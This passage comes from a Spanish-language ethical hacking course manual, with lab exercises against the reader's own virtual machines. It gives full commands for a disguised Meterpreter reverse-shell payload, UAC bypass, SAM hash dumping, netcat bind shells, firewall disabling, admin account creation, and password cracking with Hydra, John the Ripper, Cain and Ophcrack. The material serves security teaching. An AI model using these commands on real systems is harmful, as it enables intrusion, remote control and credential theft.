Luego de lo cual se tendrá que enviar este archivo a la victima y hacer que esta lo ejecute. En
este ejercicio a modo de ejemplo se creará un sencillo “Payload” TCP reverso en un archivo
ejecutable y se transferirá este archivo a la victima utilizando netcat.

En una consola dentro de Kali Linux proceda a ejecutar el siguiente comando para generar el
PAYLOAD.

# msfpayload windows/meterpreter/reverse_tcp LHOST=[Dirección IP de Kali Linux]


LPORT=8888 X > juego.exe

Ahora se debe transferir el archivo “juego.exe” al sistema Windows 7 utilizando netcat.

Proceda a ejecutar el siguiente comando en Windows 7. Esto ejecutará a netcat en modo de


Atención o Escucha ante una conexión entrante. Se debe resaltar en el siguiente comando que
netcat (nc) se encuentra en un directorio específico, si netcat se encuentra en otro directorio se
debe ejecutar desde el directorio adecuado.

C:\Users\usuariow7\Downloads\nc11nt\nc -w 30 -v -l -p 4000 > juego.exe

En Kali Linux proceda a ejecutar el siguiente comando para enviar el archivo al sistema Windows
7.

# nc -w 10 -v [Dirección IP de Windows 7] 4000 < juego.exe

Luego es necesario ejecutar el archivo juego.exe en la máquina virtual de Windows7. Si el


ejercicio se ha realizado correctamente se abrirá una sesión con Meterpreter.

Se proceda a intentar realizar un volcado de las contraseñas del Sistema Windows 7.

meterpreter > hashdump

meterpreter >

Presionar la combinación de teclas (Control+Z) y presionar la tecla “y”.

Los siguientes comandos permiten utilizar el Módulo Bypass Windows UAC.

msf > use post/windows/escalate/bypassuac

msf > show options

msf > set LHOST [Dirección IP de Kali Linux]

msf > set session 1

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 23


msf > run

Si hasta aquí se ha realizado el ejercicio correctamente, se mostrará la información de una sesión


establecida con Meterpreter.

msf > sessions

msf > sessions -i ID

Donde ID es el número de sesión recientemente abierto.

meterpreter > getuid

meterpreter > ps

Ahora se debe migrar hacia el PID del proceso “svchost.exe”, con el siguiente comando.

meterpreter > migrate <PID>

Procedemos nuevamente a realizar un volcado de la SAM del Sistema Windows 7.

meterpreter > hashdump

Y para finalizar este ejercicio se realiza una captura de pantalla del Objetivo.

meterpreter > screenshot

3.3. Herramientas de control remoto en línea de comando

Como ya se ha detalla en los ejercicios anterior netcat puede ser utilizado para realizar
conexiones, escanear puertos, transferir archivos, y también puede ser utilizado para tener acceso
shell a un sistema Windows o GNU/Linux.

En una Máquina Remota Windows se ejecuta netcat en modo “Escucha”.

C:\>nc -l -d -e cmd.exe -p 9999

En una Máquina Cliente Linux se ejecuta netcat de la siguiente manera.

# nc 192.168.1.77 9999

Cuando la máquina Linux establezca una conexión al sistema Windows, este ejecutará el
comando (cmd.exe), el cual entregará una shell en Windows al sistema Linux.

Ahora se procederá a realizar el ejercicio inverso, es decir obtener una shell de un sistema
GNU/Linux desde un sistema Windows.

Proceda a ejecutar netcat desde un sistema GNU/Linux, por ejemplo desde Kali Linux o
metasploitable.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 24


# nc -l -p 5555 -e /bin/sh

Ahora desde un sistema Windows ejecute el siguiente comando, para obtener una shell desde el
sistema GNU/Linux.

C:\>nc 192.168.1.77 5555

Con el programa psexec también se pueden ejecutar comandos en un sistema remoto. De la


siguiente manera.

C:\>psexec \\Servidor -u <usuario> -p <contraseña> <commando>

C:\>psexec \\192.168.0.23 -u Administrador -p 12345 -s cmd.exe

3.4. Moviendo archivos con Exploits entre plataformas

Al transferir o mover archivos entre diferentes sistemas operativos, algunas veces se requiere
convertir los formatos de los archivos. Para realizar esto se pueden utilizar dos sencillas utilidades
en GNU/Linux, unix2dos que convierte el formato de un archivo de texto de Linux a DOS, y
dos2unix que convierte el formato de un archivo de DOS a Linux. También se puede utilizar el
siguiente comando.

Convertir el formato de un archivo Windows a Linux. Esto elimina “Retorno de Acarreo”.

# tr -d '\r' < archivowindows.txt > archivolinux.txt

Para transferir archivos en un escenario de sistemas Windows y GNU/Linux, se cuentan con las
siguientes opciones.

Utilizando Netcat

Ejecutar netcat en modo “Atención”, o como Servidor, lo cual permitirá recibir el “archivo.txt”.

# nc -v -l -w 30 -p 8888 > archivo.txt

Establecer una conexión como Cliente hacia el Servidor, lo cual permitirá enviar el “archivo.txt”.

# nc -v -w 2 192.168.0.23 8888 < archivo.txt

Cryptcat es un netcat con cifrado Twofish

Ejecutar crypcat en modo “Atención” o como Servidor, lo cual permitirá recibir el “archivo.txt”.

# crypcat -v -l -p 8888 < archivo.txt

Establecer una conexión cifrada como Cliente hacia el Servidor, enviando el “archivo.txt”.

# crypcat -v 192.168.0.23 8888 archivo.txt


Secure Copy (SCP)

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 25


El siguiente comando permitirá copiar el archivo.txt a “directorio” autenticándose como “usuario”.

# scp archivo.txt usuario@servidor.com:directorio

Otros mecanismos que se pueden utilizar para transferir archivo son; tftp (Trivial File Tranfer
Protocol), ftp (File Transfer Protocol), utilizar los recursos compartidos, vía web, entre otras.

3.5. Kung Fu con la línea de comandos en Windows

Los siguientes ejercicios pueden ser realizados desde una máquina virtual Windows, desde la
máquina real windows o en ambas a la vez.

Mostrar el contenido de uno o más archivos de texto. En este caso “archivo.txt”.

C:\> type archivo.txt

Buscar una cadena de texto en uno o más archivos. En este ejercicio “archivo.txt”.

C:\> type archivo.txt | find /i “cadena”

El comando set permite, visualizar, establecer o eliminar variables de entorno.

C:\> set username

C:\> set path

C:\> set systemroot

Listar archivos y subdirectorios de un directorio.

C:\> dir /b /s [directorio]

Administración de Cuentas y Grupos de usuarios.

Lista usuarios locales

C:\> net user

Lista grupos locales

C:\> net localgroup

Listar miembros del grupo local admin

C:\> net localgroup administradores

Añadir un usuario.

C:\> net user [usuario] [contraseña] / add

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 26


Añadir un usuario al grupo Administradores.

C:\> net localgroup administrators [usuario] /add

Borrar usuarios y cuentas.

Borra un usuario de un grupo.

C:\> net localgroup [grupo] [usuario] /del

Borra un usuario.

C:\> net user [usuario] /del

Configuraciones del Firewall

C:\> netsh /?

Muestra la configuraciónd el Firewall

C:\> netsh firewall show config

Deshabiltar el firewall por completo.

C:\> netsh firewall set opmode disable

Encontrando otras maquinas

Volcado de la caché del DNS

C:\> ipconfig /displaydns

Volcado de la caché ARP

C:\> arp -a

Estableciendo sesiones SMB

Configurar una Sesión

C:\> net use \\192.168.1.77 [contraseña] /u:[usuario]


Adjunta un Sistema de archivos con una letra en nuestra máquina. Ejemplo unidad z: o unidad f:

C:\> net use * \\192.168.1.77\[compartido] [contraseña] /u:[usuario]

Monta el recurso C:\ sobre la máquina objetivo

C:\> net use * \\192.168.1.77\c$ [contraseña] /u:[usuario]


Retirando sesiones SMB

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 27


Retirar una sesión para que sea factible usar otro usuario.

C:\> net use \\192.168.0.23 /del

Retira todas las sesiones SMB del usuario actual.

C:\> net use * /del

El Bucle FOR

C:\> for /L %i in ([inicio],[paso],[para]) do [comando]

Ejecutando un barrido de Pings utilizando el bucle FOR.

C:\> for /L %i in (1,1,255) do @ping -n 1 192.168.0.%i | find “Respuesta”

Iterando a través de búsquedas DNS reversas utilizando el bucle for y nsloolup

C:\> for /L %i in (1,1,255) do @echo 200.48.225.%i: & @nslookup 200.48.225.%i 2>nul | find
"Nombre"

El siguiente ejercicio solo muestra los nombres que han sido resueltos satisfactoriamente.

C:\> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | find "Name" && echo 192.168.1.%i

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 28


Ejercicios Parte 4

4.1. Adivinando contraseñas con THC Hydra

Para el siguiente ejercicio se realizarán los ataques contra la máquina virtual con Metasploitable.

Antes de iniciar el proceso de “Cracking” o de “Romper” las contraseñas, se utilizará el programa


pw-inspector. Este programa permite encontrar y mostrar las palabras que coinciden con un
criterio. De esta manera se puede manipular una lista de palabras de manera particular para
diferentes escenarios de ataque.

Encontrar solo las palabras que contienen al menos un número.

# cat /pentest/passwords/wordlists/darkc0de.lst | pw-inspector -n

Encontrar las palabras que contienen al menos un caracter imprimible y que no sea alfabético ni
númerico.

# cat /pentest/passwords/wordlists/darkc0de.lst | pw-inspector -p

Para crear una lista de palabras con una longitud mínima de 6 caracteres, que contengan un
número, al menos una letra mayúscula y al menos una letra minúscula se debe ejecutar el
siguiente comando. Todas las palabras que coincidan con este criterio se copiarán al archivo
“claves.txt”

# cat /pentest/passwords/wordlists/darkc0de.lst | pw-inspector -m 6 -n -u 1 -c 2 > /tmp/claves.txt

Proceda a ejecutar THC-Hydra. Se utilizará THC-Hydra para intentar “Crackear” o “Romper” la


contraseña del usuario “root” utilizando el servicio OpenSSH (Puerto 22) con todas las
contraseñas (palabras) contenidas en el archivo “500-worst-passwords.txt”.

El parámetro -t define el número de tareas de conexiones paralelas, la opción -V permite mostrar


los intentos de usuario/contraseña, el parámetro -l define el usuario y el parámetro -P define una
lista de palabras a utilizar como contraseñas, la opción ssh le indica a hydra realizar el ataque al
servicio ssh ejecutándose en el puerto 22

# hydra -t 1 -V -l root -P /pentest/passwords/wordlist/500-worst-passwords.txt 192.168.0.23 ssh

Ahora se Intentará “Crackear” o “Romper” las contraseñas de los cualquiera de los usuarios
contenidos en el archivo de nombre “usuarios.txt”, utilizando el servicio PostgreSQL ejecutándose
en el puerto 5432. Para este propósito también se utilizará las palabras contenidas en el archivo
“500-worst-passwords.txt” como contraseñas.

# hydra -L usuarios.txt -P /pentest/passwords/wordlist/ 500-worst-passwords.txt 192.168.0.23


postgres

En el siguiente ejercicio se utilizarán un parámetro muy simple pero muy efectivo que tiene THC-
Hydra, el parámetro “-e”, el cual permite definir tres sencillas manipulaciones que se realizarán
con el nombre de usuario para ser utilizado como contraseña, “n” prueba el nombre de usuario
con una contraseña nula, “s” prueba el mismo nombre de usuario como contraseña y “r” el cual
invierte los caracteres del nombre de usuario y lo prueba como su contraseña.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 29


# hydra -V -L usuarios.txt -e snr 192.168.1.77 telnet

En las siguientes páginas se pueden encontrar buenas listas de palabras.

http://www.skullsecurity.org/wiki/index.php/Passwords
http://packetstormsecurity.org/Crackers/wordlists

4.2. Volcando los hashs con pwdump

Proceda a transferir a la máquina virtual con Windows 7 el archivo “Pwdump7.zip.”, esto se puede
realizar con netcat.

Cuando haya copiado el archivo a la máquina virtual proceda a Descomprimir su contenido en una
carpeta de su elección, o directamente en la raíz del disco C:\. Acto seguido ejecuté una consola
(cmd.exe) con privilegios de administrador (clic derecho -> Ejecutar como Administrador), y
ejecute los siguientes comandos.

C:\> PwDump.exe > dumpwindows7.txt

El volcado de las contraseñas del sistema se copiarán al archivo “dumpwindows7.txt”, para


visualizar este archivo escriba el siguiente comando.

C:\> type dumpwindows7.txt

Si el comando se ha ejecutado correctamente obtendrá un volcado de la Base de Datos SAM del


Sistema Windows 7.

Otra herramienta que se puede utilizar de manera local o remota dependiendo del escenario es
“fgdump.exe”.

4.3. Utilizando John The Ripper para crackear LANMAN y Linux MD5

Proceda a transferir a la máquina virtual de Kali Linux los archivos que se ubican en passwd y
shadow. Para ejecutar los siguientes comandos el directorio al cual se deben copiar los archivos
“passwd” y “shadow” debe ser la carpeta “root”.

Ejecutar John The Ripper.

Realiza algunas pruebas

# john -test

El programa “unshadow” que incluye John The Ripper, permite fusionar el contenido del archivo
passwd y shadow en un solo archivo.

# unshadow /root/passwd /root/shadow > contrasenas

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 30


Para ejecutar un proceso de “Cracking” sencillo se utilizará el modo “single crack” utilizando reglas
de la sección List.Rules:Single del archivo de configuración de John The Ripper.

# john --single contrasenas

Para realizar un proceso de Cracking utilizando un lista de palabras contenida en el archivo


“password.lst”, se debe ejecutar el siguiente comando.

# john --wordlist=password.lst contrasenas

John The Ripper incluye un conjunto de Reglas, las cuales se aplican sobre una lista de palabras
definida por el usuario. Estas reglas son leídas de List.Rules:Wordlist del archivo de configuración
de John The Ripper “john.conf”.

# john --wordlist=password.lst --rules contrasenas

Otro modo más crudo es utilizar el modo Incremental, dado que este modo intentará toda las
combinaciones posibles de letras, números, símbolos, etc, desde la definición [Incremental:MODE]
especificada en el archivo de configuración de John The Ripper.

# john --incremental:digits contrasenas

Con el siguiente comando se visualizan las contraseñas “crackeadas” u obtenidas por el


programa.

# john --show passwd

Si por cualquier motivo, intencional o no, el proceso de John The Ripper es interrumpido, se puede
continuar esta sesión posteriormente con la opción --restore.

# john --restore

Para un archivo SAM de Windows el proceso es similar. En los siguientes ejemplos se utilizará el
archivo sam, el cual debe ser copiado a la carpeta “root” de Kali Linux.

# john --single sam.txt

# john --wordlist=/pentest/passwords/wordlists/rockyou.txt /root/sam.txt

# john –wordlist=/pentest/passwords/wordlists/rockyou.txt --rules /root/sam.txt

# john --incremental:alpha /root/sam.txt

# john --show passwd

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 31


4.4. Utilizando CAIN para sniffing y cracking

Sniffing con CAIN

Proceda a instalar en su máquina Windows real el programa Cain. En caso se indique que es
necesario desactivar el Firewall de Windows, proceda a desactivarlo. Ejecute Cain, y proceda a
hacer clic en “Start/Stop Sniffer”, el segundo ícono del menú superior iniciando por la izquierda.
Luego desde la maquina Windows Real, proceda ejecutar desde una consola en Windows
(cmd.exe) el comando ftp. El siguiente ejercicio realizará una autenticación al servicio ftp de la
máquina Virtual Metasploitable y se visualizará como Cain intercepta estas credenciales. Proceda
a ejecutar los siguientes comandos.

C:\> ftp

Presionar la tecla enter.

ftp> open [Dirección IP de Metasploitable]

Luego se le solicitará ingresar el usuario y contraseña, utilice el usuario “user” y la contraseña


“user”. Si la autenticación ha sido satisfactoria, se le mostrará el mensaje “Login successful”.

De regreso a Cain, haga clic en la pestaña “Sniffer” ubicada en la superior, y luego haga clic en la
pestaña “Passwords” ubicada en la parte inferior. Si el ejercicio ha sido realizado correctamente se
visualizarán las credenciales que Cain ha interceptado.

Cracking con Cain

Cain también permite realizar el proceso de “Cracking” o de Romper contraseñas en un sistema


Windows. Para hacer esto, proceda a iniciar Cain, haga clic en la pestaña “Cracker” ubicado en el
menú superior, luego haga clic derecho “Add to list”, seleccione “Import Hashes from a text file”
ahora proceda a seleccionar el archivo “hashs.txt” extraído de un Sistema Windows.

Si todo ha sido realizado correctamente se visualizará la información de las cuentas de usuarios y


hash de las contraseñas contenidas en el archivo importado. Ahora proceda a seleccionar todas
las cuentas de usuarios y luego haga clic derecho sobre ellas, seleccione la opción “Brute force
attack” y luego la opción “LM Hashes”. Acto seguido proceda a definir la longitud mínima a 1
carácter y la longitud máxima a 6 caracteres, y presione el botón “Start”. Al presionar el botón se
iniciará el proceso de Cracking utilizando Fuerza Bruta, es decir probando todas las
combinaciones de palabras con un máximo de 6 caracteres.

Otra de las utilidades que tiene Cain es una calculadora de Hashs, para utilizarla, proceda a hacer
clic en “Tools -> Hash Calculator”, hecho esto aparecerá una nueva ventana, en la cual se debe
ingresar una cadena de texto, por ejemplo la palabra Hacking, en el la opción “Text to hash”, para
calcular los Hash de esta palabra solo se debe hacer clic en el “Calculate”, ubicado en la parte
inferior de esta ventana.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 32


4.5. Utilizando Ophcrack

Proceda a instalar en su máquina Windows real el programa 0phcrack. Luego transfiera a la


máquina Windows Real un archivo conteniendo hash de contraseñas Windows.

Ahora descomprima el archivo “tables_xp_free_small.zip” en la carpeta “Hacking”. Luego proceda


a ejecutar el programa Ophcrack.

Es necesario configurar la Tabla descomprimida en el paso anterior, para que se utilizada por
Ophcrak, haciendo clic en la opción “Tables” ubicado en el menú superior del programa. En la
nueva ventana que se muestra proceda a hacer clic en “XP free small”, luego haga clic en el botón
“Install” ubicado en la parte inferior, y seleccione ahora la ruta donde se descomprimió la Tabla
contenida en el archivo “tables_xp_free_small.zip”. Para finalizar la configuración de la tabla haga
clic botón “ok”.

Para cargar el archivo con hash de contraseñas Windows, proceda a hacer clic en el botón “Load”,
luego en la opción “PWDUMP File”, y luego seleccione archivo que contiene los hashs. Para este
ejercicio el archivo “hashs.txt” u otro que se esté utilizando. Si el ejercicio se ha realizado
correctamente visualizará la información del archivo dentro de Ophrack. Y al hacer clic en el botón
“Crack” se iniciará el proceso de “Cracking”, y las contraseñas aparecerán conforme sean “rotas”.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 33


Ejercicios Parte 5

5.1. Escaneo de Vulnerabilidades Web

Escaneando Vulnerabilidades Web con Nikto2

Para el siguiente ejercicio se procederá a ejecutar Nikto2 contra la dirección IP de Metasploitable.


El parámetro -h define el host o la dirección IP del objetivo, -p define el puerto al cual se conectará
nikto2 para realizar las pruebas, -output define el archivo en el cual se copiarán los resultados
obtenidos del escaneo, y -Format define el formato del archivo con los resultados, que para este
caso particular es sencillamente un archivo txt.

# nikto.pl -h 192.168.1.34 -p 80 -output reporte.txt -Format txt

Para visualizar los resultados, unicamente se debe visualizar el archivo reporte.txt

# less reporte.txt

Utilizando un Proxy de Interceptación, Webscarab.

Ejecutar OWASP WebScarab

Nota: Al iniciar WebScarab por defecto, se iniciará en modo “WebScarab Lite”. Para ejecutar la
versión que contiene todas las funcionalidades, proceda a hacer clic en el menú superior en la
opción “Tools -> Use full-featured interface”.

Dentro de Kali Linux proceda a abrir Firefox e ingrese a “Edit -> Preferences -> Advanced ->
Network -> Settings”. Ahora seleccione “Manual proxy configuration” y defina en “HTTP Proxy: “
localhost y en “Port:” el número 8008. Luego haga click en el botón “Ok” y luego en el botón
“Close”.

Ahora ingrese en la barra de dirección en Firefox, la dirección IP de la máquina virtual con Kali
Linux y analice los resultados que obtiene en WebScarab al ingresar a este servidor web.

En la parte superior se tienen varias pestañas, proceda a hacer clic en “Proxy” y activar la opción
“Intercept requests” Ahora en firefox ingrese a cualquier págias web. Ahora WebScarab mostrará
una ventana para cada petición que se realice hacia un servidor web, esto proporciona control
total sobre los datos que se envían al objetivo. En la parte inferior de esta nueva ventana se
muestran cuatro botones “Accept Changes” para aceptar los cambios realizados en la petición,
“Cancel Changes”, para cancelar los cambios realizados, “Abort Request”, para abortar la petición
realizada, y “Cancell all Intercepts” para cancelar todas las interceptaciones. Luego de realizar
algún cambio en la petición se procederá a hacer clic en el botón “Accept Changes”.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV 34

Вам также может понравиться